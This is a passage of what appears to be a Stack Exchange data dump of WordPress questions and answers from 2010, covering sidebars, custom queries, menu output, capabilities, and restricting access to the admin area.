  <row Id="2566" PostTypeId="2" ParentId="2565" CreationDate="2010-10-04T20:59:42.227" Score="4" ViewCount="" Body="&lt;p&gt;I suppose you are doing something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( ! dynamic_sidebar( 'widget-area' ) ) : ?&amp;gt;&#xA;    Your sidebar code goes here.&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If yes, do this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Your sidebar code goes here.&#xA;&amp;lt;?php dynamic_sidebar( 'widget-area' ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-04T20:59:42.227" CommentCount="1" />
  <row Id="2567" PostTypeId="2" ParentId="2286" CreationDate="2010-10-04T22:04:21.510" Score="4" ViewCount="" Body="&lt;p&gt;First you need a table that looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;zip_code    lat     lon&#xA;10001       40.77    73.98&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...populated for each zip code.  You can expand on this by adding city and state fields if you want to look up that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then each store can be given a zip code, and when you need to calculate distance you can join the lat/long table to the store data.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you'll query that table to get the latitude and longitude for the store and user's zip codes.  Once you get it you can populate your array and pass it to a &quot;get distance&quot; function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user_location = array(&#xA;    'latitude' =&amp;gt; 42.75,&#xA;    'longitude' =&amp;gt; 73.80,&#xA;);&#xA;&#xA;$output = array();&#xA;$results = $wpdb-&amp;gt;get_results(&quot;SELECT id, zip_code, lat, lon FROM store_table&quot;);&#xA;foreach ( $results as $store ) {&#xA;    $store_location = array(&#xA;        'zip_code' =&amp;gt; $store-&amp;gt;zip_code, // 10001&#xA;        'latitude' =&amp;gt; $store-&amp;gt;lat, // 40.77&#xA;        'longitude' =&amp;gt; $store-&amp;gt;lon, // 73.98&#xA;    );&#xA;&#xA;    $distance = get_distance($store_location, $user_location, 'miles');&#xA;&#xA;    $output[$distance][$store-&amp;gt;id] = $store_location;&#xA;}&#xA;&#xA;ksort($output);&#xA;&#xA;foreach ($output as $distance =&amp;gt; $store) {&#xA;    foreach ( $store as $id =&amp;gt; $location ) {&#xA;        echo 'Store ' . $id . ' is ' . $distance . ' away';&#xA;    }&#xA;}&#xA;&#xA;function get_distance($store_location, $user_location, $units = 'miles') {&#xA;    if ( $store_location['longitude'] == $user_location['longitude'] &amp;amp;&amp;amp;&#xA;    $store_location['latitude'] == $user_location['latitude']){&#xA;        return 0;&#xA;&#xA;    $theta = ($store_location['longitude'] - $user_location['longitude']);&#xA;    $distance = sin(deg2rad($store_location['latitude'])) * sin(deg2rad($user_location['latitude'])) + cos(deg2rad($store_location['latitude'])) * cos(deg2rad($user_location['latitude'])) * cos(deg2rad($theta));&#xA;    $distance = acos($distance);&#xA;    $distance = rad2deg($distance);&#xA;    $distance = $distance * 60 * 1.1515;&#xA;&#xA;    if ( 'kilometers' == $units ) {&#xA;        $distance = $distance * 1.609344;&#xA;    }&#xA;&#xA;    return round($distance);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is meant as a proof-of-concept, not code that I would actually recommend implementing.  If you have 10,000 stores, for example, it would be a pretty expensive operation to query them all and loop through and sort them on every request.&lt;/p&gt;&#xA;" OwnerUserId="839" LastActivityDate="2010-10-04T22:04:21.510" CommentCount="3" />
  <row Id="2568" PostTypeId="2" ParentId="2517" CreationDate="2010-10-04T22:04:40.073" Score="1" ViewCount="" Body="&lt;p&gt;What is the output of the compatibility test tool found on the general settings tab?&lt;/p&gt;&#xA;" LastActivityDate="2010-10-04T22:04:40.073" />
  <row Id="2569" PostTypeId="1" AcceptedAnswerId="2570" CreationDate="2010-10-04T22:28:54.127" Score="1" ViewCount="98" Body="&lt;p&gt;I have a variable containing some post ID´s. I´d like to output the posts in that variable using the standard wordpress loop. How can I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;/*&#xA;Template Name: Favorites page&#xA;*/&#xA;&#xA;$favorites = wpfp_get_users_favorites($user = '');&#xA;$favorites_query = new WP_Query('post__in' =&amp;gt; $favorites);&#xA;&#xA;get_header();&#xA;get_sidebar(); &#xA;?&amp;gt;&#xA;&#xA;&#xA;&amp;lt;div id=&quot;maincolumn&quot; class=&quot;alignleft&quot;&amp;gt;&#xA;&amp;lt;?php get_template_part( 'menu' );&#xA;&#xA;if(!$favorites) {&#xA;echo '&amp;lt;div class=&quot;box content alignleft&quot;&amp;gt;'; echo _e('Du har ingen favoritter', 'deals'); &#xA;echo '&amp;lt;/div&amp;gt;';&#xA;}&#xA;&#xA;if($favorites) {&#xA;echo '&amp;lt;div class=&quot;box content alignleft&quot;&amp;gt;'; echo _e('Dette er dine favoritttilbud denne  uka. Favorittene dine vil kún være være tilgjengelig i denne nettleseren på denne maskinen.', 'deals'); &#xA;echo '&amp;lt;/div&amp;gt;';&#xA;}&#xA;&#xA;while ($favorites_query-&amp;gt;have_posts()) : $favorites_query-&amp;gt;the_post(); &#xA;$start = get_post_meta($post-&amp;gt;ID, '5Start', true);&#xA;$stop = get_post_meta($post-&amp;gt;ID, '6Slutt', true);&#xA;&#xA; echo print_offer($post_id, $start, $stop);&#xA;endwhile;&#xA;&#xA;if($favorites) {&#xA;echo '&amp;lt;div class=&quot;box content alignleft&quot;&amp;gt;';&#xA;wpfp_clear_list_link();&#xA;echo '&amp;lt;/div&amp;gt;';&#xA;} ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt; &amp;lt;!-- End maincolumn --&amp;gt;&#xA;&#xA;&amp;lt;?php &#xA;get_template_part( 'rightsidebar' );&#xA;get_footer(); &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2010-10-05T13:15:40.133" Title="Outputting posts from post id´s in variable" Tags="&lt;3.0&gt;" AnswerCount="1" />
  <row Id="2570" PostTypeId="2" ParentId="2569" CreationDate="2010-10-04T22:45:14.937" Score="2" ViewCount="" Body="&lt;p&gt;An example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$posts_ids = array(2,56,87,23,5); // this is an array of posts IDs&#xA;&#xA;&amp;lt;?php $my_query = new WP_Query(array('post__in'=&amp;gt;$posts_ids)); ?&amp;gt;&#xA;&#xA;&amp;lt;?php while ($my_query-&amp;gt;have_posts()) : $my_query-&amp;gt;the_post(); ?&amp;gt;&#xA;    &amp;lt;!-- Do stuff... --&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastEditorUserId="473" LastEditorDisplayName="" LastEditDate="2010-10-05T13:15:40.133" LastActivityDate="2010-10-05T13:15:40.133" CommentCount="11" />
  <row Id="2571" PostTypeId="1" AcceptedAnswerId="2887" CreationDate="2010-10-04T23:13:58.827" Score="0" ViewCount="533" Body="&lt;p&gt;I'm using the Contact Form 7 Calendar &quot;plugin plugin&quot;, but I can't figure out how to make the date field required. The syntax is &lt;code&gt;[datetimepicker your-label]&lt;/code&gt;, and in the parent plugin (Contact Form 7), you would just put an asterisk in, like &lt;code&gt;[datetimepicker* your-label]&lt;/code&gt; but this doesn't work with the calendar widget... Of course, I could always style it in CSS to appear as if its required, but I kinda need the validation there. I've looked in the plugin's documentation, but this isn't covered, and the author is not responding on the WP Support Forums. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone used the Calendar add-on and been able to make the date field required? Anything I can do to tweak the javascript or whatever is used for validation -- I'm assuming its javascript (I'm sure js is very easy but I've never managed to find the time to learn it)? Or the php (I'm much more comfortable in php), but without breaking on plugin updates...&lt;/p&gt;&#xA;" OwnerUserId="1118" LastActivityDate="2011-01-13T05:42:40.677" Title="Making a Contact Form 7 calendar entry &quot;required&quot;" Tags="&lt;plugins&gt;&lt;contact&gt;" AnswerCount="1" />
  <row Id="2572" PostTypeId="1" AcceptedAnswerId="2576" CreationDate="2010-10-05T00:39:55.480" Score="3" ViewCount="336" Body="&lt;p&gt;So i've installed a plug-in which allows me to enable two-factor authentication for my users. The problem is that to enable the plug-in i have to log in as that user and enable it via their profile page (wp-admin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This isn't a problem except for the fact that there's nothing stopping the users from logging in and disabling the two factor authentication which is an issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked around at a few issues and none have seemed to work, essentially i want restrict backend access to only a select few (myself and few others).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried stealth login and a few some htaccess solutions and none have seemed to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1144" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-16T08:39:48.933" LastActivityDate="2011-05-19T21:58:15.637" Title="Options for restricting access to wp-admin" Tags="&lt;wp-admin&gt;&lt;security&gt;&lt;htaccess&gt;" AnswerCount="3" />
  <row Id="2573" PostTypeId="1" CreationDate="2010-10-05T00:47:59.003" Score="0" ViewCount="254" Body="&lt;p&gt;I have a custom post type and am placing in custom meta boxes.  How do I change the ordering of the fields of a custom page in the admin?  For example, I have a custom field called subtitle.  How do I place this between the title and description rich textbox in the admin of the custom post type page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" LastActivityDate="2010-12-29T20:17:06.630" Title="Change ordering of fields of custom post type in admin page" Tags="&lt;3.0&gt;&lt;custom-post-types&gt;&lt;wp-admin&gt;" AnswerCount="2" />
  <row Id="2574" PostTypeId="1" AcceptedAnswerId="2577" CreationDate="2010-10-05T02:50:13.890" Score="3" ViewCount="2754" Body="&lt;p&gt;I am using the new menu system of Wordpress, and here is the result of wp_nav_menu()&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div class=&quot;menu-main-menu-container&quot;&amp;gt;&#xA;   &amp;lt;ul id=&quot;menu-main-menu&quot; class=&quot;menu&quot;&amp;gt;&#xA;   &amp;lt;li id=&quot;menu-item-28&quot; class=&quot;menu-item menu-item-type-post_type current-menu-item page_item page-item-21 current_page_item menu-item-28&quot;&amp;gt;&amp;lt;a href=&quot;http://www.bemang.com/&quot;&amp;gt;Trang nhà&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li id=&quot;menu-item-29&quot; class=&quot;menu-item menu-item-type-post_type menu-item-29&quot;&amp;gt;&amp;lt;a href=&quot;http://www.bemang.com/blog/&quot;&amp;gt;Blog&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li id=&quot;menu-item-30&quot; class=&quot;menu-item menu-item-type-post_type menu-item-30&quot;&amp;gt;&amp;lt;a href=&quot;http://www.bemang.com/gioi-thieu/&quot;&amp;gt;Giới thiệu&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I want is only this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li id=&quot;menu-item-28&quot; class=&quot;menu-item menu-item-type-post_type current-menu-item page_item page-item-21 current_page_item menu-item-28&quot;&amp;gt;&amp;lt;a href=&quot;http://www.bemang.com/&quot;&amp;gt;Trang nhà&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;   &amp;lt;li id=&quot;menu-item-29&quot; class=&quot;menu-item menu-item-type-post_type menu-item-29&quot;&amp;gt;&amp;lt;a href=&quot;http://www.bemang.com/blog/&quot;&amp;gt;Blog&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;   &amp;lt;li id=&quot;menu-item-30&quot; class=&quot;menu-item menu-item-type-post_type menu-item-30&quot;&amp;gt;&amp;lt;a href=&quot;http://www.bemang.com/gioi-thieu/&quot;&amp;gt;Giới thiệu&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No, wrapping div or ul, I have been trying to few ways and google around but no result :(&lt;/p&gt;&#xA;" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-04-25T23:20:02.740" LastActivityDate="2011-04-26T21:07:21.630" Title="Remove wrapping div and ul from output of wp_nav_menu" Tags="&lt;3.0&gt;&lt;custom-menus&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="2575" PostTypeId="2" ParentId="1639" CreationDate="2010-10-05T03:10:11.660" Score="1" ViewCount="" Body="&lt;p&gt;I believe this, directly from &lt;a href=&quot;http://codex.wordpress.org/images/b/b3/donthack.jpg&quot; rel=&quot;nofollow&quot;&gt;WordPress Codex&lt;/a&gt;, says it all:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://codex.wordpress.org/images/b/b3/donthack.jpg&quot; alt=&quot;Photo: Don't Hack WordPress Core; Or the Kitten Get's it!&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps. :)&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-10-05T03:10:11.660" CommunityOwnedDate="2010-10-05T03:10:11.660" />
  <row Id="2576" PostTypeId="2" ParentId="2572" CreationDate="2010-10-05T03:21:02.130" Score="2" ViewCount="" Body="&lt;p&gt;You could make it a mu-plugin ('Must Use' plugin). Any PHP file you put into /wp-content/mu-plugins/ will automatically get included in WordPress. You can't deactivate the plugin (unless you have ftp access to the server). If you go with a mu-plugin, make sure to put the functionality into a subdirectory and bootstrap it with a php file in the mu-plugins directory.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;After reading the comment, I think I understand the problem better. It sounds like you want to be able to lock people out of the admin altogether. That's not so difficult. Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_awesome_admin_lockout(){&#xA;  if( is_admin() &amp;amp;&amp;amp; !current_user_can( 'manage_options' ) ) {&#xA;    wp_redirect( home_url() );&#xA;    die();&#xA;  }&#xA;}&#xA;&#xA;add_action( 'init', 'my_awesome_admin_lockout' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, that locks everybody but admins out of the admin area.&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2010-10-21T13:03:15.490" LastActivityDate="2010-10-21T13:03:15.490" CommentCount="1" />
  <row Id="2577" PostTypeId="2" ParentId="2574" CreationDate="2010-10-05T03:26:49.057" Score="7" ViewCount="" Body="&lt;p&gt;The wrapping div is easy. When you use &lt;code&gt;wp_nav_menu()&lt;/code&gt;, add this argument: &lt;code&gt;'container' =&amp;gt; false&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt; element, there's an argument called &lt;code&gt;'items_wrap'&lt;/code&gt;. See &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2574/remove-wrapping-div-and-ul-from-output-of-wp-nav-menu/13347#13347&quot;&gt;woodchucky's answer&lt;/a&gt; for more info on that one (and upvote it!).&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2011-04-26T21:07:21.630" LastActivityDate="2011-04-26T21:07:21.630" CommentCount="3" />
  <row Id="2578" PostTypeId="1" AcceptedAnswerId="2599" CreationDate="2010-10-05T05:21:16.953" Score="1" ViewCount="104" Body="&lt;p&gt;I'm looking to create a page within my site that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tag/Category: News&lt;/strong&gt;&lt;br&gt;&#xA;News Post a&lt;br&gt;&#xA;News Post b&lt;br&gt;&#xA;News Post c  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tag/Category: Events&lt;/strong&gt;&lt;br&gt;&#xA;Event a&lt;br&gt;&#xA;Event b&lt;br&gt;&#xA;Event c  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm new to Wordpress. I may not have the wordpress jargon to ask this correctly. Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="1146" LastActivityDate="2010-10-07T19:25:13.930" Title="How to make 2 tag feeds show up on 1 page?" Tags="&lt;categories&gt;&lt;page&gt;&lt;tags&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="2579" PostTypeId="2" ParentId="2215" CreationDate="2010-10-05T05:48:35.103" Score="1" ViewCount="" Body="&lt;p&gt;Problem resolved by my web-host's executives .They said that they had to white list a code on their servers .&lt;/p&gt;&#xA;" OwnerUserId="402" LastActivityDate="2010-10-05T05:48:35.103" />
  <row Id="2580" PostTypeId="1" CreationDate="2010-10-05T10:11:20.503" Score="0" ViewCount="118" Body="&lt;p&gt;Greetings, We can edit image attributes with this get_image_tag filter when we are adding images or with regex and filter the_content,but is there any similar filter or action that can we use to edit these attributes when post is added or edited - updated,and not to write regex?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the link I found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.webtechwise.com/wordpress-filter-examples-changing-attributes-when-adding-images-to-posts/&quot; rel=&quot;nofollow&quot;&gt;http://www.webtechwise.com/wordpress-filter-examples-changing-attributes-when-adding-images-to-posts/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="1147" LastActivityDate="2010-12-08T12:45:50.140" Title="Edit post image attributes on fly?" Tags="&lt;plugins&gt;&lt;3.0&gt;&lt;filters&gt;&lt;actions&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="2581" PostTypeId="2" ParentId="2572" CreationDate="2010-10-05T11:17:54.367" Score="0" ViewCount="" Body="&lt;p&gt;How about you revoke mysql write permissions on the table of the plugin &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone who would want to modify any value , will get an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to update - you have to change permissions back,update the records,deny permissions again.&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2010-10-05T11:17:54.367" />
  <row Id="2582" PostTypeId="2" ParentId="1720" CreationDate="2010-10-05T11:20:20.120" Score="1" ViewCount="" Body="&lt;p&gt;you can change the settings in feedwordpress and have only one user for all syndicated post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that should solve your problem, no ? &lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2010-10-05T11:20:20.120" />
  <row Id="2583" PostTypeId="2" ParentId="2534" CreationDate="2010-10-05T11:24:22.140" Score="-1" ViewCount="" Body="&lt;p&gt;build a custom google search engine &#xA;google.com/cse&#xA;specify all the sites you want to search &lt;/p&gt;&#xA;&#xA;&lt;p&gt;embed it in your website&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2010-10-05T11:24:22.140" CommentCount="1" />
  <row Id="2584" PostTypeId="2" ParentId="2572" CreationDate="2010-10-05T13:18:35.837" Score="0" ViewCount="" Body="&lt;p&gt;I havn't tried it. But it may work for you. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Restrict complete access to wp-admin&#xA;using .htaccess.&lt;/li&gt;&#xA;&lt;li&gt;Now Make an alias php file outside&#xA;of wp-admin or in some other folder.&lt;/li&gt;&#xA;&lt;li&gt;Include wp-admin.php or necessary&#xA;php file into alias PHP file.&lt;/li&gt;&#xA;&lt;li&gt;restrict search engines to look into&#xA;folder which contains your alias&#xA;file using &lt;a href=&quot;http://article-stack.com/education/web-design-n-development/blog-blogger-blogging/why-does-robots-txt-is-important.amty&quot; rel=&quot;nofollow&quot;&gt;robots.txt&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="958" LastActivityDate="2010-10-05T13:18:35.837" />
  <row Id="2585" PostTypeId="1" AcceptedAnswerId="2588" CreationDate="2010-10-05T13:25:08.533" Score="-3" ViewCount="57" Body="&lt;p&gt;I got a website to build, and i opted wordpress for this. But my friend denied because drupal is more famous and secure than word press, as per his point of view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still support wordpress. but i need your views and facts&lt;/p&gt;&#xA;" OwnerUserId="958" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-10-06T03:26:42.537" LastActivityDate="2010-10-06T03:26:42.537" ClosedDate="2010-10-05T14:06:26.803" Title="Which one is most famous, WordPress or Drupal?" Tags="&lt;3.0&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="2586" PostTypeId="2" ParentId="1684" CreationDate="2010-10-05T13:25:34.493" Score="6" ViewCount="" Body="&lt;p&gt;This filter allows you to extend &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/capabilities.php#L780&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;map_meta_cap()&lt;/code&gt; function&lt;/a&gt;. This function &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/capabilities.php#L728&quot; rel=&quot;nofollow&quot;&gt;is called by &lt;code&gt;WP_User-&amp;gt;has_cap()&lt;/code&gt;&lt;/a&gt; to convert a &lt;em&gt;meta capability&lt;/em&gt; to one or more &lt;em&gt;primitive capabilities&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, you want to know whether the current user should be allowed to edit the current post, &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/capabilities.php#L892&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;edit_post&lt;/code&gt; meta capability&lt;/a&gt;. This depends on some factors: is the user the author of the post? Is the post already published? Is the post marked as private? The primitive capabilities are &lt;code&gt;edit_posts&lt;/code&gt;, &lt;code&gt;edit_published_posts&lt;/code&gt;, &lt;code&gt;edit_others_posts&lt;/code&gt; and &lt;code&gt;edit_private_posts&lt;/code&gt;: you can assign these to &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities&quot; rel=&quot;nofollow&quot;&gt;user roles&lt;/a&gt;. &lt;code&gt;map_meta_cap()&lt;/code&gt; checks the author and status of the post and returns the correct set of &lt;em&gt;primitive capabilities&lt;/em&gt; this user must have to allow editing of the post (if the post is written by someone else and published, it would return &lt;code&gt;array('edit_others_posts', 'edit_published_posts')&lt;/code&gt;, so the user must have both capabilities to continue).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding this idea of &lt;em&gt;meta capabilities&lt;/em&gt; and &lt;em&gt;primitive capabilities&lt;/em&gt; allows you to keep the base &lt;code&gt;WP_User&lt;/code&gt; class free from knowledge of posts and post statuses and whatever, and just focus on capabilities. The actual conversion is in an external function, &lt;code&gt;map_meta_cap()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/capabilities.php#L1047&quot; rel=&quot;nofollow&quot;&gt;The filter &lt;code&gt;map_meta_cap&lt;/code&gt;&lt;/a&gt; allows you to extend the functionality, for example when using custom posts. I believe basic support is provided if you set the &lt;code&gt;capabilities&lt;/code&gt; argument of &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;register_post_type&lt;/code&gt;&lt;/a&gt;, but the mentioned article by &lt;a href=&quot;http://justintadlock.com/archives/2010/07/10/meta-capabilities-for-custom-post-types&quot; rel=&quot;nofollow&quot;&gt;Justin Tadlock&lt;/a&gt; and &lt;a href=&quot;http://github.com/Prospress/Prospress/blob/master/pp-posts/pp-capabilities.php&quot; rel=&quot;nofollow&quot;&gt;Prospress plugin&lt;/a&gt; provide complete examples of this. But you can customize it to completely turn the capabilities system over, if you desire.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-10-05T13:25:34.493" />
  <row Id="2587" PostTypeId="1" AcceptedAnswerId="2589" CreationDate="2010-10-05T13:33:26.850" Score="2" ViewCount="283" Body="&lt;p&gt;I have a Contact Form 7 form as a page on my site.  I'd like to place the contact form on the sidebar.  How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="1148" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-10-05T14:03:01.800" LastActivityDate="2010-10-05T14:03:01.800" Title="Contact Form in sidebar" Tags="&lt;widgets&gt;&lt;sidebar&gt;&lt;contact-form-7&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="2588" PostTypeId="2" ParentId="2585" CreationDate="2010-10-05T13:36:33.593" Score="2" ViewCount="" Body="&lt;p&gt;So there are two parts to his argument.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;More famous&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I fail to see how is this relevant to anything, but Google reports:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&amp;nbsp;&amp;nbsp;21,300,000 search results for Drupal&lt;/li&gt;&#xA;&lt;li&gt;166,000,000 search results for WordPress&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I don't really care how real these are (hint - they aren't really) but it does show that WordPress generates considerably more noise online, which is like definition of famous?..&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;More secure&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;WordPress has no known security vulnerabilities in current stable version. I don't know for sure, but assume same is true for Drupal. So you can argue about historical track record for the sake of argument, but currently neither is insecure.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-05T13:36:33.593" />
  <row Id="2589" PostTypeId="2" ParentId="2587" CreationDate="2010-10-05T14:00:59.787" Score="2" ViewCount="" Body="&lt;p&gt;Have you tried &lt;a href=&quot;http://wordpress.org/support/topic/contact-form-7-in-sidebar&quot; rel=&quot;nofollow&quot;&gt;the options suggested in this WordPress Support thread&lt;/a&gt;? They range from copying the generated code in a Text Widget to parsing the shortcode yourself in your template (&lt;code&gt;&amp;lt;?php echo do_shortcode('[contact-form 1 &quot;Contact form 1&quot;]'); ?&amp;gt;&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-10-05T14:00:59.787" CommentCount="3" />
  <row Id="2590" PostTypeId="2" ParentId="2534" CreationDate="2010-10-05T14:20:32.180" Score="4" ViewCount="" Body="&lt;p&gt;I know you said you'd rather not install a plug-in, but that's exactly what you want to do in this situation.  Placing the code in your theme's &lt;code&gt;functions.php&lt;/code&gt; file requires you to either use the same theme across all sites in the sub-network or maintain multiple copies of the same file.  On the other hand, you can create a simple plug-in for the network to encapsulate the functionality, then &lt;a href=&quot;http://codex.wordpress.org/Create_A_Network#WordPress_Plugins&quot; rel=&quot;nofollow&quot;&gt;activate it on the network&lt;/a&gt;, and immediately have the functionality available with only one file to maintain.  This would actually create &lt;em&gt;less&lt;/em&gt; bloat than depending on your &lt;code&gt;functions.php&lt;/code&gt; files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing to keep in mind here is that you're either going to need to loop through each site on the network to find your posts or perform a custom query.  I'd opt for the second routine because, though it's a bit more complicated, it's a single query rather than a different query for each blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically ... you'll need to do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Get a list of all the blog IDs in the network/sub-network.  If using a vanilla installation, this can be found in the &lt;a href=&quot;http://codex.wordpress.org/Database_Description#Table%3a_wp_blogs&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_blogs&lt;/code&gt;&lt;/a&gt; table.  Just do a simple &lt;code&gt;SELECT&lt;/code&gt; query to load up an array, then you can loop through to add each blog to your main query.&lt;/li&gt;&#xA;&lt;li&gt;Create a loop that adds each blog to a large query.  You'll need to be &lt;code&gt;JOIN&lt;/code&gt;ing tables together and searching based on &lt;code&gt;blog_id&lt;/code&gt; (from &lt;code&gt;wp_blogs&lt;/code&gt;), &lt;code&gt;post_id&lt;/code&gt; (from &lt;code&gt;wp_BLOG_posts&lt;/code&gt;), and the custom taxonomy.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Like I said, it's not a simple solution (the SQL statement will be &lt;strong&gt;&lt;em&gt;very&lt;/em&gt;&lt;/strong&gt; complicated and I don't have time to hack through it at the moment), but it will be a single statement that does all the work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively ...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Get a list of the blog IDs and store it in an array.&lt;/li&gt;&#xA;&lt;li&gt;Iterate through your array querying each blog in the network and appending your matches (posts with a certain taxonomy term) to a separate array.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;With the alternative method you'll have to run a separate query for every blog in the network.  If your network is 10-20 sites this isn't too much of an issue.  If your network is 200-500 sites expect some performance issues to start cropping up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you should cache the results of your query if at all possible.  